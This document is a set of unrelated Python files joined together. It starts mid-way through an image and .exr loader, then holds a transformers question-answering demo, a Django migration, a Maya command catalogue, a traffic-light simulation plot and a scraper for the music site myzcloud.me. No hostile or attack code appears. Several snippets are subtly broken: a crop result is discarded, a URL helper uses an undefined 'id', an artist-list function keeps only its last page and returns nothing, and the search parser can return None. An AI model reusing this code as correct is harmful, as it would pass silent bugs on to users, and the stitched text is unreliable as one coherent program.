        with open(path, "rb") as f:
            with Image.open(f) as img:
                img = img.convert("RGB")
                if bbox is not None:
                    img = img.crop(box=bbox)
                return img

    def get_exr(self, path, bbox=None):
        """
        Source: https://github.com/mlagunas/pytorch-np_transform
        loads an .exr file as a numpy array

        only kept the single dim version
        """
        # get absolute path
        path = os.path.join(self.root, path)

        depth = cv2.imread(path, cv2.IMREAD_ANYCOLOR | cv2.IMREAD_ANYDEPTH)
        depth = depth[:, :, 0]  # all channels are the same

        # crop -- bbox is  (left, upper, right, lower)-tuple.
        if bbox is not None:
            l, u, r, d = bbox
            depth[l:r, u:d]

        return depth


import torch
# Load the question-answering pipeline
from transformers import pipeline
question_answerer = pipeline('question-answering')

device=torch.device("mps")
print(f"device={device}")
# Define a context and question
context = "The quick brown fox jumps over the lazy dog"
question = "What animal jumps over the lazy dog?"

# Use the pipeline to answer the question
answer = question_answerer(question=question, context=context, device=device)

# Print the answer
# print context
print(f'context={context}')
print(f'question={question}')
print(f'answer={answer}')


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models, migrations

class Migration(migrations.Migration):

    dependencies = [
        ('problempost', '0003_user'),
    ]

    operations = [
        migrations.AddField(
            model_name='user',
            name='councilID',
            field=models.CharField(max_length=10, default=None, choices=[('AC', 'AC'), ('HK', 'HK')]),
            preserve_default=True,
        ),
    ]


# -*-coding:utf-8 -*-
u"""
:创建时间: 2022/3/18 2:31
:作者: 苍之幻灵
:我的主页: https://cpcgskill.com
:QQ: 2921251087
:爱发电: https://afdian.net/@Phantom_of_the_Cang
:aboutcg: https://www.aboutcg.org/teacher/54335
:bilibili: https://space.bilibili.com/351598127

"""
from __future__ import unicode_literals, print_function
import maya.cmds as mc

window = {
    'Windows': [
        'colorEditor', 'confirmDialog', 'createEditor', 'defaultNavigation', 'editor', 'editorTemplate',
        'fontDialog', 'layoutDialog', 'minimizeApp', 'progressWindow', 'promptDialog',
        'refreshEditorTemplates', 'scriptEditorInfo', 'showSelectionInTitle', 'showWindow',
        'toggleWindowVisibility', 'window', 'windowPref', 'workspaceControlState', 'workspacePanel'
    ],
    'Misc_UI': [
        'annotate', 'autoPlace', 'buttonManip', 'callbacks', 'disableIncorrectNameWarning', 'grabColor',
        'headsUpDisplay', 'headsUpMessage', 'hotkey', 'hotkeyCheck', 'hotkeyCtx', 'hotkeySet',
        'inViewMessage', 'linearPrecision', 'loadPrefObjects', 'loadUI', 'mayaDpiSetting', 'multiTouch',
        'nameCommand', 'overrideModifier', 'saveAllShelves', 'savePrefObjects', 'savePrefs', 'saveShelf',
        'scmh', 'setMenuMode', 'setNodeTypeFlag', 'setStartupMessage', 'textManip',
        'thumbnailCaptureComponent'
    ],
    'Menus': [
        'artBuildPaintMenu', 'attrEnumOptionMenu', 'attrEnumOptionMenuGrp', 'attributeMenu', 'hotBox',
        'menu', 'menuEditor', 'menuItem', 'menuSet', 'menuSetPref', 'optionMenu', 'optionMenuGrp',
        'popupMenu', 'radioMenuItemCollection', 'saveMenu'
    ],
    'Layouts': [
        'columnLayout', 'dockControl', 'flowLayout', 'formLayout', 'frameLayout', 'gridLayout', 'layout',
        'menuBarLayout', 'paneLayout', 'rowColumnLayout', 'rowLayout', 'scrollLayout', 'shelfLayout',
        'shelfTabLayout', 'tabLayout', 'toolBar', 'workspaceControl', 'workspaceLayoutManager'
    ],
    'Controls': [
        'attrColorSliderGrp', 'attrControlGrp', 'attrFieldGrp', 'attrFieldSliderGrp',
        'attrNavigationControlGrp', 'button', 'canvas', 'channelBox', 'checkBox', 'checkBoxGrp',
        'cmdScrollFieldExecuter', 'cmdScrollFieldReporter', 'cmdShell', 'colorIndexSliderGrp',
        'colorInputWidgetGrp', 'colorSliderButtonGrp', 'colorSliderGrp', 'commandLine', 'componentBox',
        'control', 'falloffCurve', 'falloffCurveAttr', 'floatField', 'floatFieldGrp', 'floatScrollBar',
        'floatSlider', 'floatSlider2', 'floatSliderButtonGrp', 'floatSliderGrp', 'gradientControl',
        'gradientControlNoAttr', 'helpLine', 'hudButton', 'hudSlider', 'hudSliderButton',
        'iconTextButton', 'iconTextCheckBox', 'iconTextRadioButton', 'iconTextRadioCollection',
        'iconTextScrollList', 'iconTextStaticLabel', 'image', 'intField', 'intFieldGrp', 'intScrollBar',
        'intSlider', 'intSliderGrp', 'layerButton', 'messageLine', 'nameField', 'nodeTreeLister',
        'palettePort', 'picture', 'progressBar', 'radioButton', 'radioButtonGrp', 'radioCollection',
        'rangeControl', 'scriptTable', 'scrollField', 'separator', 'shelfButton', 'soundControl',
        'swatchDisplayPort', 'switchTable', 'symbolButton', 'symbolCheckBox', 'text', 'textField',
        'textFieldButtonGrp', 'textFieldGrp', 'textScrollList', 'timeControl', 'timeField',
        'timeFieldGrp', 'timePort', 'toolButton', 'toolCollection', 'treeLister', 'treeView'
    ],
    'Panels': [
        'canCreateCaddyManip', 'componentEditor', 'contentBrowser', 'getPanel', 'hardwareRenderPanel',
        'hotkeyEditorPanel', 'hyperGraph', 'hyperPanel', 'hyperShade', 'inViewEditor', 'modelEditor',
        'modelPanel', 'nodeEditor', 'nodeOutliner', 'outlinerEditor', 'outlinerPanel', 'panel',
        'panelConfiguration', 'panelHistory', 'saveViewportSettings', 'scriptedPanel', 'scriptedPanelType',
        'setFocus', 'spreadSheetEditor', 'viewManip', 'visor', 'webBrowser', 'webBrowserPrefs'
    ]
}
list_commands = ['listInputDevices', 'listAttr', 'listDeviceAttachments', 'listConnections', 'listCameras',
                 'listRelatives', 'listInputDeviceButtons', 'listInputDeviceAxes', 'listSets', 'listAnimatable',
                 'listAttrPatterns', 'listNodeTypes', 'listNodesWithIncorrectNames', 'listHistory']

def selected(*args, **kwargs):
    return mc.ls(*args, sl=True, **kwargs)

commands = (getattr(mc, i) for i in dir(mc))
commands = {i.__name__: i for i in commands if callable(i)}

list_commands = (getattr(mc, i) for i in list_commands)
list_commands = {i.__name__: i for i in list_commands if callable(i)}

ui_commands = {i for v in window.values() for i in v} & set(commands.keys())
ui_commands = {i: commands[i] for i in ui_commands}

other_commands = {
    'selected': selected
}


import random
from utility import cross_first_sim, cross_second_sim
import matplotlib.pyplot as plt

NS_CROSS_TIME = 10
EW_CROSS_TIME = 10
NS_BLOCK_TIME = 50  # this value has no implications on the final result, it is constant between both scenarios

NS_LIGHT_TIME = 0
EW_LIGHT_TIME = 0

MIN_GO_TIME = 5

if __name__ == "__main__":
    #random.seed(42)

    val_list = list(range(1, 100))

    cross_first_medians = []
    cross_first_averages = []
    cross_second_medians = []
    cross_second_averages = []
    for i in val_list:
        NS_LIGHT_TIME = i
        EW_LIGHT_TIME = 100 - i
        cfr = cross_first_sim(NS_LIGHT_TIME, EW_LIGHT_TIME, NS_CROSS_TIME, EW_CROSS_TIME, MIN_GO_TIME, NS_BLOCK_TIME)
        csr = cross_second_sim(NS_LIGHT_TIME, EW_LIGHT_TIME, NS_CROSS_TIME, EW_CROSS_TIME, MIN_GO_TIME, NS_BLOCK_TIME)

        cross_first_medians.append(cfr[0])
        cross_first_averages.append(cfr[1])
        cross_second_medians.append(csr[0])
        cross_second_averages.append(csr[1])

    plt.plot(val_list, cross_first_averages, 'r-', label='Cross First Average')
    plt.plot(val_list, cross_first_medians, 'r-.', alpha=0.3, label='Cross First Median')
    plt.plot(val_list, cross_second_averages, 'b-', label='Cross Second Average')
    plt.plot(val_list, cross_second_medians, 'b-.', alpha=0.3, label='Cross Second Median')
    plt.legend(loc='upper center')
    plt.xlabel('NS Light Time as % of Total Light Cycle')
    plt.ylabel('Time (seconds)')

    plt.show()


from common.crawler import *
from bs4 import BeautifulSoup
from bs4.element import NavigableString, Tag
from common.utils import *

categoryTypeDic={"0":"All",
              "1":"Unsorted",
              "2":"Album",
              "3":"EP",
              "4":"Single",
              "5":"Bootleg",
              "6":"Live",
              "7":"Compilation",
              "8":"MixType",
              "9":"Demo",
              "10":"DJ Mix",
              "11":"Group Compilations",
              "12":"Split",
              "13":"Unoffical Compilation",
              "14":"OST",
              }

class MyzcloudConfig(object):
    artistBaseUrl="https://myzcloud.me/letter/{0}"
    baseUrl="https://myzcloud.me/{0}"

headers={'User-Agent':
            'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36',
            'Proxy-Connection':'keep-alive',
            'Cache-Control':'max-age=0',
            'Upgrade-Insecure-Requests':'1',
            "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
        }
class MycloudAlbumInfo(object):
    def __init__(self, id = None, name = None, image = None, artistId="", artistName="", year="", songNum = 0, rating = ""):
        self.id = id
        self.url = "https://myzcloud.me/{0}".format(id)
        self.name = name
        self.image = image
        self.songNum = songNum
        self.artistId=artistId
        self.year =year
        self.artistName=artistName
        self.rating = rating
class MycloudArtistInfo(object):
    def __init__(self, id = None, name = None, image = None, songNum = 0, rating=""):
        self.id = id
        self.url = "https://myzcloud.me/{0}".format(id)
        self.name = name
        self.image = image
        self.songNum = songNum
class MycloudSongInfo(object):
    def __init__(self, id = None, name = None, artistName=""):
        self.id = id
        self.url = "https://myzcloud.me/{0}".format(id)
        self.name = name
        self.artistName = artistName

class MycloudSearchResult(object):
    def __init__(self, artistInfoList = None, ablumInfoList = None, songInfoList = None):
        self.artistInfoList = artistInfoList
        self.ablumInfoList = ablumInfoList
        self.songInfoList = songInfoList
class MyzcloudParser(object):
    def __init__(self, crawler, baseUrl="https://myzcloud.me/{0}"):
        self.baseUrl=baseUrl
        self.searchUrl="https://myzcloud.me/search"
        self.crawler=crawler
    def __getUrl(self, url):
        return self.baseUrl.format(id)
    def search(self, text):
        page = self.crawler.fetch(self.searchUrl, params={"searchText": text})
        return self.__parse_search_result(page)
    def __parse_search_result(self, page):
        bs = BeautifulSoup(page,"html.parser")
        divBodyContent = bs.find(id="bodyContent")

        divTables = divBodyContent.findAll(name="table", attrs={"class":"table table-condensed table-no-border"})

        result = MycloudSearchResult()

        if divTables != None:
            result.artistInfoList = []
            result.ablumInfoList = []
            for divTable in divTables:
                ths = divTable.findAll(name="th")

                isArtistInfo = False
                for th in ths:
                    if th.string == "Artist" or th.string == "Исполнитель":
                        isArtistInfo = True
                        break
                    elif th.string == "Artist / Album" or th.string == "Исполнитель / Альбом":
                        isArtistInfo = False
                        break
                if isArtistInfo == True:
                    trs = divTable.tbody.findAll(name="tr")
                    for tr in trs:
                        imageTd=tr.td
                        artistId = imageTd.a["href"]
                        image = imageTd.img["src"]
                        name = imageTd.img["alt"]
                        nameTd = imageTd.next_sibling.next_sibling
                        songNumTd = nameTd.next_sibling.next_sibling
                        songNum = int(songNumTd.text)
                        artistInfo = MycloudArtistInfo(id=artistId, name=name, image=image, songNum=songNum)
                        result.artistInfoList.append(artistInfo)
                else:
                    trs = divTable.tbody.findAll(name="tr")
                    for tr in trs:
                        imageTd=tr.td
                        albumId = imageTd.a["href"]
                        image = imageTd.img["src"]
                        name = imageTd.img["alt"]
                        nameTd = imageTd.next_sibling.next_sibling
                        artistId = nameTd.strong.a["href"]
                        artistName = nameTd.strong.a.text
                        yearTd = nameTd.next_sibling.next_sibling
                        year = yearTd.text
                        songNumTd = yearTd.next_sibling.next_sibling
                        songNum = int(songNumTd.text.replace(",", ""))
                        ratingTd=songNumTd.next_sibling.next_sibling
                        rating = ratingTd.text.replace(",", "")
                        artistInfo = MycloudAlbumInfo(id=artistId, name=name, image=image, artistId=artistId,
                                                      artistName = artistName, year= year,
                                                      songNum=songNum, rating=rating)
                        result.ablumInfoList.append(artistInfo)
            divPlayList = divBodyContent.find(name="div", attrs={"class": "playlist playlist--hover"})

            if divPlayList != None:
                result.songInfoList = []
                playListItems = divPlayList.findAll(name="div", attrs={"class": "playlist__item"})
                for playListItem in playListItems:
                    artistName = playListItem["data-artist"]
                    name = playListItem["data-name"]
                    aAdress = playListItem.find(name="a", attrs={"class":"dl-song"})
                    id = aAdress["href"]
                    songInfo = MycloudSongInfo(id=id,name=name, artistName=artistName)
                    result.songInfoList.append(songInfo)

                return result

    def __parseArtistList(self, page, parseHead = True):
        bs = BeautifulSoup(page,"html.parser")
        divBodyContent = bs.find(id="bodyContent")
        page = -1
        if parseHead:
            navList=divBodyContent.nav
            liLastPage=navList.find(name="li", attrs={"class":"page-item pagination-last"})
            page=int(liLastPage.a["href"][len("/len/letter/A/page") - 1:])

        artistList=[]
        divArtist=divBodyContent.find(name="div", attrs={"class":"table-responsive"})
        tbody = divArtist.table
        for tr in tbody.children:
            if not isinstance(tr, Tag) or tr.a == None:
                continue
            name = tr.a.text
            id = tr.a["href"]
            songNumTd = tr.td.next_sibling.next_sibling
            songNumStr= songNumTd.text.replace(",", "")
            ratingTd = tr.td.next_sibling.next_sibling
            rating = ratingTd.text
            artistInfo=MycloudArtistInfo(id=id, name=name, songNum=int(songNumStr), rating=rating)
            artistList.append(artistInfo)
        return int(page), artistList

    def getArtistPage(self, alphabet = "A", page = 1, parseHeader=True):
        url = MyzcloudConfig.artistBaseUrl.format(alphabet)
        if page > 1:
            url = url +"/" + page
        page = self.crawler.fetch(url);
        return self.__parseArtistList(page, parseHead=True)
    def getArtistList(self, alphabet = "A"):

        totalPage, artiList=self.getArtistPage(alphabet, 1, True)

        if totalPage > 1:
            for page in range(2, totalPage):
                _, artiList = self.getArtistPage(alphabet, page, False)

    def __getAlbumList(self, type="albums", page = 1, year=None, parseHead = True):
        url = MyzcloudConfig.baseUrl.format(type)

crawler = Crawler(headers=headers, proxies={'http':"http://127.0.0.1:10001", 'https':"https://127.0.0.1:10001"})
#crawler = Crawler(proxies={'http':None, 'https':None})
parser = MyzcloudParser(baseUrl="https://myzcloud.me/{0}", crawler=crawler);